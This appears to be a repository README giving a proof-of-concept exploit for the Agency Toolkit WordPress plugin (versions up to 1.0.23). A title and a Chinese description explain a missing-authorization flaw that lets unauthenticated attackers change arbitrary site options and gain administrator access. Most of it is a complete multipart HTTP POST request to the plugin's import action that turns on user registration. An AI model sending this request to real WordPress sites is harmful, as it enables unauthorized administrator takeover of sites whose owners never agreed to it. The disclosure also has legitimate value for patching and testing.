randomrobbiebf/agency-toolkit-1023-missing-authorization-to-unauthenticated-arbitrary-options-updateAgency Toolkit <= 1.0.23 - Missing Authorization to Unauthenticated Arbitrary Options Update
Agency Toolkit <= 1.0.23 - 缺少授权导致未认证的任意选项更新
由于 'agency_toolkit_import' 操作缺少能力检查，WordPress 的 Agency Toolkit 插件在所有版本（包括 1.0.23）中容易受到未授权数据修改的影响，这可能导致权限提升。这使得未经认证的攻击者能够更新 WordPress 站点上的任意选项。该漏洞可被利用来将注册默认角色更新为管理员，并启用用户注册，从而使攻击者获得对易受影响站点的管理员访问权限。
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--